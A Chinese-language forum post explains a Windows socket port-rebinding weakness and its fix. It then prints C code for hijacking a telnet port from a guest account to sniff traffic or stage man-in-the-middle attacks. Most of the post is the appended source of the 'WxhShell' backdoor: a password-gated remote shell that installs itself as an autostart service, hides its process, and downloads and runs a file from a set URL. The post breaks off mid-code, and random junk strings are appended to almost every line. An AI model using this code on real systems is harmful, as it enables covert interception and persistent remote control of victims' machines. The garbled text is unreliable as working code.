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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Af\@J6viF7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 92j[b_P  
B/16EuH#  
  saddr.sin_family = AF_INET; EwBrOq`C  
F*G]Na@6D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c6b51)sQ"  
h7eb/xEto  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RSAGSGp  
b\\l EM>o1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n%WjU)<  
I?1 BGaAA  
  这意味着什么?意味着可以进行如下的攻击: ]HWeVhG  
o5]-Kuw`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ea{zL  
]R~hzo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {JdXn  
gR/?MJ(v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 26}3  
l>|scs;TI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~;b}_?%o  
9<&*iIrM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kh}h(z^  
\Ec*Gq?.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n:a~=^IV  
r5Q#GY>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _rSwQ<38>  
8i^ ./P  
  #include pa^_D~  
  #include T: My3&6  
  #include uNEl]Q]<e]  
  #include    Y{~`g(~9_A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mCn:{G8+  
  int main() |)d%3s\  
  { qQf NT.  
  WORD wVersionRequested; ga,kKPL  
  DWORD ret; Pc?"H!Hkn  
  WSADATA wsaData; leF!Uog  
  BOOL val; ]D~Ibv{Y  
  SOCKADDR_IN saddr; cD9U ^SOS  
  SOCKADDR_IN scaddr;  +mft  
  int err; Y9-F\t=~  
  SOCKET s; 7z{N}  
  SOCKET sc; Cj}H'k<B  
  int caddsize; (:]+IjnE  
  HANDLE mt; *" OlO}o  
  DWORD tid;   *N: $,xf  
  wVersionRequested = MAKEWORD( 2, 2 ); E>/~:  
  err = WSAStartup( wVersionRequested, &wsaData ); 5MYdLAjV  
  if ( err != 0 ) { JPL`/WA 0  
  printf("error!WSAStartup failed!\n"); 1.N2!:&G|  
  return -1; ^?0'\Z  
  } W8x&:5Fc)3  
  saddr.sin_family = AF_INET; Xhyn! &H5  
   z&c}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qe!3ae`Z  
}Z\S__\9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *qYw  
  saddr.sin_port = htons(23); )n<p_vz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "\vQVZd-E  
  { _PGd\>Ve  
  printf("error!socket failed!\n"); W!"QtEJ,  
  return -1; V$FZVG/@#  
  } g9;s3qXiG  
  val = TRUE; `gC J[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `t9k!y!GV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]1zud  
  { 2( I4h[  
  printf("error!setsockopt failed!\n"); $y.0h(  
  return -1; db_}][;.c  
  } ZI4dD.B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pd`m//G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l{]KA4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :.=j)ljTx  
d@$bPQQ$,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2wPc yD  
  { bJ9*z~z)e  
  ret=GetLastError(); Tb;,t=;u  
  printf("error!bind failed!\n"); 1M_Vhs^  
  return -1; liy/uZ  
  } x![.C,O  
  listen(s,2); \ qq  
  while(1) 3b#L*-  
  { F&+qd`8J  
  caddsize = sizeof(scaddr); 4Z=`;  
  //接受连接请求 ] >w@@A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O0 Uh  
  if(sc!=INVALID_SOCKET) k' Fu&r  
  { A)j!Wgs^z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^~vM*.j~j  
  if(mt==NULL) 2A";o E  
  { ?WqaT)l~  
  printf("Thread Creat Failed!\n"); :x5O1Zn/t  
  break; ]9 _}S  
  } IC8%E3  
  } ,~1sZ`C  
  CloseHandle(mt); 01&E.A  
  } .#iot(g  
  closesocket(s); _Yp~Oj  
  WSACleanup(); ]xoG{%vgb  
  return 0; C4gES"T  
  }   34"PtWbV>  
  DWORD WINAPI ClientThread(LPVOID lpParam) \X! NoF  
  { 7TI6EKr  
  SOCKET ss = (SOCKET)lpParam; Z1v~tqx  
  SOCKET sc; b$Dh|-8  
  unsigned char buf[4096]; W#^.)V  
  SOCKADDR_IN saddr; KZcmNli&A  
  long num; QS\wtTXj  
  DWORD val;  \G)F*  
  DWORD ret; %QGw`E   
  //如果是隐藏端口应用的话,可以在此处加一些判断 H[OgnnM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #pK" ^O*!  
  saddr.sin_family = AF_INET; b5 NlL`g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v[8+fd)}S  
  saddr.sin_port = htons(23); VlL%dN; 0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -/Wf iE  
  { IFS_DW  
  printf("error!socket failed!\n"); (C).Vj~  
  return -1; XpE847!soL  
  } $)8,dS  
  val = 100; t&[<Dl/L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?Y S 3)  
  { tk=S4 /VWv  
  ret = GetLastError(); s/C'f4  
  return -1; )$df6sq  
  } W-&V:S{<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b.\xPb  
  { f^u-Myk  
  ret = GetLastError(); "&4r!2A  
  return -1; woP j>M  
  } [ >\|QS|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 02*qf:kTnA  
  { ^i!6z2/  
  printf("error!socket connect failed!\n"); gM=:80  
  closesocket(sc); CAs:>s '8  
  closesocket(ss); A%$~  
  return -1; r@Jy*2[-Jq  
  } Yb/*2iWX  
  while(1) 9`Fw}yAt  
  { &TA{US3~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]Zc|<f;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -rm[.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?8GS*I  
  num = recv(ss,buf,4096,0); HDZl;=  
  if(num>0) PRTjXq6)5  
  send(sc,buf,num,0); 324XoMO  
  else if(num==0) &g^*ep~|#  
  break; ty pbwfM]  
  num = recv(sc,buf,4096,0); >X05f#c"v/  
  if(num>0) Fr  
  send(ss,buf,num,0); P+|L6w*|[  
  else if(num==0) B,w ZI4oi*  
  break; Ox-eB  
  } emnT;kJ>  
  closesocket(ss); |b.xG_-s1  
  closesocket(sc); bP#!U'b"=  
  return 0 ; <"P-7/j3j  
  } hdrsa}{g  
urjf3h[%  
X<[ qX*  
========================================================== E BBd  
DHw)]WB M  
下边附上一个代码,,WXhSHELL d,JDfG)  
B#SVN Lv  
========================================================== l&qCgw  
c:9n8skE7  
#include "stdafx.h" X V;j6g  
!+^'Ej)z  
#include <stdio.h> 8SKrpwy  
#include <string.h> W_Y8)KxG:L  
#include <windows.h> p T8?z  
#include <winsock2.h> u%)gnj_  
#include <winsvc.h> 3+>n!8x ;A  
#include <urlmon.h> d>8" -$  
'"\M`G  
#pragma comment (lib, "Ws2_32.lib") 4<F z![>  
#pragma comment (lib, "urlmon.lib") %(lO>4>|  
CYW@Km{e  
#define MAX_USER   100 // 最大客户端连接数 /]xa}{^B  
#define BUF_SOCK   200 // sock buffer )XK\[tL  
#define KEY_BUFF   255 // 输入 buffer $P0q!  
TI< x;p  
#define REBOOT     0   // 重启 NEri{qxm  
#define SHUTDOWN   1   // 关机 Nq6'7'x  
&R_7]f+%)  
#define DEF_PORT   5000 // 监听端口 Q]xkDr?   
_2hLc\#  
#define REG_LEN     16   // 注册表键长度 8a P/vToa  
#define SVC_LEN     80   // NT服务名长度 mSxn7LG  
Ytlzn%  
// 从dll定义API 3$k#bC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e;6K xvX~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,=m.WmXE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IL %]4,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =xI'|%  
 V>'  
// wxhshell配置信息 #lLUBJ#:  
struct WSCFG { S v>6:y9?G  
  int ws_port;         // 监听端口 nG!<wlY14P  
  char ws_passstr[REG_LEN]; // 口令 'Be'!9K*d  
  int ws_autoins;       // 安装标记, 1=yes 0=no +&`W\?.~  
  char ws_regname[REG_LEN]; // 注册表键名 \%=\4%:  
  char ws_svcname[REG_LEN]; // 服务名 FI$:R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .9qK88fUR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pD732L@q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oY18a*_>M1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |:=o\eu&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d qn5G!fI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lrT2*$ w3  
kW g.-$pp  
}; c~Ka) dF|  
F3qK6Ah.  
// default Wxhshell configuration 6gg8 h>b  
struct WSCFG wscfg={DEF_PORT, n~*".ZC'Y  
    "xuhuanlingzhe", =^nb+}Nz(  
    1, d,"LZ>hNY*  
    "Wxhshell", V0\[|E;F  
    "Wxhshell", &N|$G8\CY  
            "WxhShell Service", do}LaUz  
    "Wrsky Windows CmdShell Service", 18>cfDh;N  
    "Please Input Your Password: ", Pd*[i7zhC  
  1, I0)`tQ +  
  "http://www.wrsky.com/wxhshell.exe", w )R5P[b  
  "Wxhshell.exe" >1~ /:DJ  
    }; _/s"VYFZ  
i6`"e[aT[o  
// 消息定义模块 /8cRPB.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |7s2xRc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bmfM_oz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V8?}I)#(7  
char *msg_ws_ext="\n\rExit."; <\aeC2~M  
char *msg_ws_end="\n\rQuit."; 'pdTV:]zA  
char *msg_ws_boot="\n\rReboot..."; XIHN6aQ{X  
char *msg_ws_poff="\n\rShutdown..."; _!\d?]Ya  
char *msg_ws_down="\n\rSave to "; -Aj)<KNx[  
(\9`$   
char *msg_ws_err="\n\rErr!"; e#(Ck{e  
char *msg_ws_ok="\n\rOK!"; X W)TI  
Kx__&a  
char ExeFile[MAX_PATH]; &XP(D5lf`B  
int nUser = 0; Bh>L"'.2  
HANDLE handles[MAX_USER]; d8j1L/e  
int OsIsNt; J-F".6i5  
G6sK3K  
SERVICE_STATUS       serviceStatus; f!Q\M1t)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Iu!B Y  
ggr  
// 函数声明 ;;Q^/rkC  
int Install(void); {4Of.  
int Uninstall(void); =l ,P'E  
int DownloadFile(char *sURL, SOCKET wsh); CLb6XnkcA\  
int Boot(int flag); 'y8{, R4C  
void HideProc(void); EdJL&*  
int GetOsVer(void); )D)5 `n)  
int Wxhshell(SOCKET wsl); ^QB[;g.O  
void TalkWithClient(void *cs); l>?c AB[  
int CmdShell(SOCKET sock); p*Bty@CRi  
int StartFromService(void); hRcb}>pr  
int StartWxhshell(LPSTR lpCmdLine); 7|P kc(O  
"/#JC} ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tT$OnZu&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *sho/[~_  
^URCnJ67Se  
// 数据结构和表定义 mP(3[a_Q  
SERVICE_TABLE_ENTRY DispatchTable[] = (C2 XFg_  
{ Nk`UQ~g$  
{wscfg.ws_svcname, NTServiceMain}, BT$p~XB  
{NULL, NULL} n/H OP  
}; 0J)s2&H  
W .7rHa  
// 自我安装 {|+Y;V`  
int Install(void) (L_-!=e  
{ R$awgSE  
  char svExeFile[MAX_PATH]; IP~!E_e}\  
  HKEY key; ^4y]7 p  
  strcpy(svExeFile,ExeFile); =8kmFXo  
US6_5>/  
// 如果是win9x系统,修改注册表设为自启动 FqKJids-  
if(!OsIsNt) { ;t`  ?|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EP;/[O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XZ rI w  
  RegCloseKey(key); Q M,!-~t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YdY-Jg Xm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z`y9<+  
  RegCloseKey(key); c PGlT"  
  return 0; [&Xp]:M'D  
    } ]|;+2@kDR  
  } e _vsiT  
} 85{m+1O~  
else { &v\F ah U  
W+XWS,(  
// 如果是NT以上系统,安装为系统服务 5/48w-fnZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <t%gl5}|  
if (schSCManager!=0) 7*'/E#M  
{ MfTLa)Rz  
  SC_HANDLE schService = CreateService #c!:&9oU  
  ( Nz{dnV{&x;  
  schSCManager, rCyb3,W  
  wscfg.ws_svcname, OI R5QH  
  wscfg.ws_svcdisp, ]n ?x tI  
  SERVICE_ALL_ACCESS, FoefBo?g65  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OfsP5*d  
  SERVICE_AUTO_START, 3JoY-  
  SERVICE_ERROR_NORMAL, z(PUoV:?  
  svExeFile, ZTC>Ufu2!  
  NULL, Vs>Pv$kW  
  NULL, w7nt $L5  
  NULL, #XV=,81w  
  NULL, 8 WP>u8&  
  NULL yev!Nw  
  ); Vla,avON  
  if (schService!=0) X/]@EF  
  { C2LPLquD+  
  CloseServiceHandle(schService); ~PQ.l\C  
  CloseServiceHandle(schSCManager); NGra/s,9 |  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~{c ?-qb  
  strcat(svExeFile,wscfg.ws_svcname); ]`o5eByo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h#rP]o@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O-- p)\   
  RegCloseKey(key); wak26W>I3  
  return 0; x_PO;  
    } q:{#kv8  
  } )!y>2$20 r  
  CloseServiceHandle(schSCManager); 2FcL-?  
} 4Nm>5*]  
} }E`Y.= S  
3f|}p{3  
return 1; mDD.D3RS  
} KaIKb=4L|  
)W@u g,y  
// 自我卸载 Z['.RF'`  
int Uninstall(void) }v1wpv/b(  
{ D6SUzI1+H  
  HKEY key; tMr7d  
rK~-Wzwu  
if(!OsIsNt) { {N(qS'N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }A9#3Y|F  
  RegDeleteValue(key,wscfg.ws_regname); 3 qYGEhxv  
  RegCloseKey(key); s"(RdJ-,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;5a$ OM  
  RegDeleteValue(key,wscfg.ws_regname); $+gQnI3w  
  RegCloseKey(key); OY*y<>  
  return 0; 0'q4=!l  
  } x"r0<RK  
} 6(|mdk`i  
} 37bMe@W  
else { F?L]Dff  
c '|*{%<e2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U}2@  
if (schSCManager!=0) dg D-"-O  
{ (qcFGM22U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B5\l&4X  
  if (schService!=0) w0QtGQ|  
  { aRd~T6I  
  if(DeleteService(schService)!=0) { 8jK=A2pTa  
  CloseServiceHandle(schService); OjU{r N*  
  CloseServiceHandle(schSCManager); qLR;:$]Q&8  
  return 0; 7KtU\u  
  } opX07~1  
  CloseServiceHandle(schService); Z'o0::k  
  } EPo)7<|>  
  CloseServiceHandle(schSCManager); J%bNt)K}  
} H`[FC|RYyE  
} ]+lT*6P*  
+'H[4g`  
return 1; IRW0.'Dn  
} P0N/bp2Uy  
3=S |U,  
// 从指定url下载文件 g pciv  
int DownloadFile(char *sURL, SOCKET wsh) b"g^Jm! j  
{ V[ UOlJ  
  HRESULT hr; 3mgvWR  
char seps[]= "/"; L03I:IJ  
char *token; -]EL|_;  
char *file; I0-1Hr  
char myURL[MAX_PATH]; EeaJUK]z9  
char myFILE[MAX_PATH]; QPy h.9:N  
v]JET9hY  
strcpy(myURL,sURL); mQj#\<*  
  token=strtok(myURL,seps); eI-fH  
  while(token!=NULL) 6Ga'_P:  
  { >iyNZ]."\  
    file=token; (o>N*?, }  
  token=strtok(NULL,seps); 6O4 *OR<&  
  } 3qV^RW&  
t!D'ZLw  
GetCurrentDirectory(MAX_PATH,myFILE); tbQY&TO1  
strcat(myFILE, "\\"); 5%'ybh)@   
strcat(myFILE, file); ^P^"t^O  
  send(wsh,myFILE,strlen(myFILE),0); sBlq)h;G?6  
send(wsh,"...",3,0); R;"$PH D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 33` bKKO}  
  if(hr==S_OK) Uahh|> s  
return 0; qMaO1cE\  
else AyJl:aN^  
return 1; \ ZnA%hC  
N\|B06X  
} Eu |/pH=:  
;apLMMsWC  
// 系统电源模块 c[J 2;"SP  
int Boot(int flag) S 1k*"><  
{ W{Qb*{9  
  HANDLE hToken; c| %5SA  
  TOKEN_PRIVILEGES tkp; ]xf89[;0  
eg~ Dm>Es  
  if(OsIsNt) { #h.N#{9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h5{//0 y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Vh]{ y~$  
    tkp.PrivilegeCount = 1; $7X;FmlG&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $d1ow#ROgy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~vP_c(8f  
if(flag==REBOOT) { %2RXrH2&H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6cg,L:j#  
  return 0; aT/2rMKPF  
} )^UqB0C6^  
else { 9X[378f+(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \;%D;3Au  
  return 0; Cpzdk~+H  
} 5I* 1CIO  
  } vkLt#yj~  
  else { =Q"thsR  
if(flag==REBOOT) { q2k}bb +  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w2$ L;q  
  return 0; ~#EXb?#uS  
} 3{H!B&sb  
else { 8<Nz34Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :z?T /9,C  
  return 0; .yzXw8~S  
} yR F+  
} qPN  
}+ W5Snx  
return 1; m:EYOe,w  
} r?`nc6$0|  
<q MX,h2  
// win9x进程隐藏模块 W OYZ  
void HideProc(void) Q2|6WE  
{ ,0L< wa  
O[ans_8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HDo=WqG  
  if ( hKernel != NULL ) U:/_T>f%  
  { $ z+ =lF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B^1jd!m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;r;>4+zn\  
    FreeLibrary(hKernel); e mq%" ;.  
  } esTK4z]  
']Km%uwL  
return; -r_Pp}s  
} 0O q5;5  
H]lD*3b  
// 获取操作系统版本 7 dG_E]&  
int GetOsVer(void) wZ8LY;  
{ KueI*\ p  
  OSVERSIONINFO winfo; _*(:6,8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @iz6)2z  
  GetVersionEx(&winfo); <>1*1%m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) el0W0T  
  return 1; a'@?c_y;$  
  else H~qY7t  
  return 0; 8j%lM/ v  
} LZ9IE>sj  
XG6UV('  
// 客户端句柄模块 wa9{Q}wSa  
int Wxhshell(SOCKET wsl) \=g%W^i  
{ =>h~<88#5  
  SOCKET wsh; K[|d7e  
  struct sockaddr_in client; _nnl+S>K  
  DWORD myID; d7QQ5FiB  
xZ"kJ'C4}  
  while(nUser<MAX_USER) ~Urj:l  
{ gs|%3k|  
  int nSize=sizeof(client); k@R)_,2HH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); seH#v  
  if(wsh==INVALID_SOCKET) return 1; )%OV|\5#  
IF*kLl?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .!t' &eV  
if(handles[nUser]==0) Uz!cVs?-  
  closesocket(wsh); mE]W#?   
else ]HP  
  nUser++; Ih95&HsdC  
  }  HPj7i;?O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ffyKAZ{]po  
UIv 2wA2  
  return 0; h^0!I TL^  
} {Z|.-~W  
e~we YGK  
// 关闭 socket akQtre`5sd  
void CloseIt(SOCKET wsh) VL<)d-  
{ O@_)]z?jUc  
closesocket(wsh); L*VGdZ  
nUser--; 2{h9a0b  
ExitThread(0); ni]gS0/  
} S?=2GY  
G\IH b |  
// 客户端请求句柄 U07n7`2w  
void TalkWithClient(void *cs) 5,qfr!hN,  
{ rC<m6  
) f'cy@b   
  SOCKET wsh=(SOCKET)cs; H1=R(+-s  
  char pwd[SVC_LEN]; R m *"SG  
  char cmd[KEY_BUFF]; GYv2 ^IB:  
char chr[1]; n|L.d BAs]  
int i,j; !H,R$3~  
GI7CZ  
  while (nUser < MAX_USER) { }`  
8F4#E U  
if(wscfg.ws_passstr) { /)y~%0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ tm,gh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F{f "xM  
  //ZeroMemory(pwd,KEY_BUFF); .'7o,)pJ<  
      i=0; c#`Z[  
  while(i<SVC_LEN) { P67r+P,  
ZwF_hm=/[  
  // 设置超时 M6|Q~8$  
  fd_set FdRead; *Xl&N- 04  
  struct timeval TimeOut; I[<C)IG  
  FD_ZERO(&FdRead); ]Wv\$JXI  
  FD_SET(wsh,&FdRead); }(TZ}* d  
  TimeOut.tv_sec=8; UmQ 9_H7  
  TimeOut.tv_usec=0; =UNzjmP503  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )n|:9hc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jB?Tua$,s  
`t ZvIy*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +69sG9BA  
  pwd=chr[0]; R4QXX7h!  
  if(chr[0]==0xd || chr[0]==0xa) { XRj<2U 5  
  pwd=0; Z10#6v  
  break; 'ei9* 4y  
  } "2qp-'^[c  
  i++; &Cdk%@Tj]B  
    } A@du*5> (  
U4O F{  
  // 如果是非法用户,关闭 socket 7ktf =Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i6(y Bn  
} ep,kImT  
aLuxCobV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A'6>"=ziP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sRb)*p'  
0sk*A0HX-  
while(1) { 0 Co_,"  
cq % =DZ  
  ZeroMemory(cmd,KEY_BUFF); xC!,v 0&  
HRje4=:  
      // 自动支持客户端 telnet标准   0D:J d6\  
  j=0; #ra:^9;Es:  
  while(j<KEY_BUFF) { 4 K{4=uU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }N*6xr*X+  
  cmd[j]=chr[0]; ;&^S-+  
  if(chr[0]==0xa || chr[0]==0xd) { Qy5\qW'  
  cmd[j]=0; W9{6?,]  
  break; |z Gwt Z  
  } "M6:)h9jV  
  j++; \BbemCPAm  
    } B.;/N220P  
;0P2nc:U~  
  // 下载文件 .& B_\*  
  if(strstr(cmd,"http://")) { 5A Vo#}&\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kdITh9nx<r  
  if(DownloadFile(cmd,wsh)) `8KWZi4 ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DU4NPys]y  
  else @T|mHfQ8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'kL>F&|  
  } \ :1MM  
  else { sr sDnf  
x'+lNlv  
    switch(cmd[0]) { \NDSpT<Z  
  o2@8w[r  
  // 帮助 ,/C<GFae  
  case '?': { /J<?2T9G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >mgbs>  
    break; cx&jnF#$  
  } [58xT>5`m  
  // 安装 N9r02c  
  case 'i': { Y<#WC#3=  
    if(Install()) L/1?PM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]0oF_ :7  
    else Ts:3_4-k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5- 0  
    break; =4/LixsV|  
    } Ny /bNQS  
  // 卸载 -P]J:7*0?\  
  case 'r': { Yc3r 3Jy  
    if(Uninstall()) .[? E1we  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYkk0 3  
    else #?k$0|60  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^VR1whCrx  
    break; DQDt*Uj,  
    } ? }|;ai  
  // 显示 wxhshell 所在路径 ?>N82#9Q  
  case 'p': { IpXg2QbN  
    char svExeFile[MAX_PATH]; v(3nBZHv_!  
    strcpy(svExeFile,"\n\r"); YQG[8I  
      strcat(svExeFile,ExeFile); C0[Rf.*  
        send(wsh,svExeFile,strlen(svExeFile),0); @tdX=\[~  
    break; 2T<QG>;)j  
    } )NGBA."t  
  // 重启 B!K{y>|.  
  case 'b': { 8c\mm 0n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6A7UW7/  
    if(Boot(REBOOT)) 7uFM)b@.P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|r` k75.  
    else { MeW8aL r  
    closesocket(wsh); l7Y^C1hM  
    ExitThread(0); Unc;@=c  
    } M@UkXA}  
    break; yL^1s\<ddW  
    } +j_Vs+0  
  // 关机 O66\s q  
  case 'd': { ' jR83A*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M6vW}APH[n  
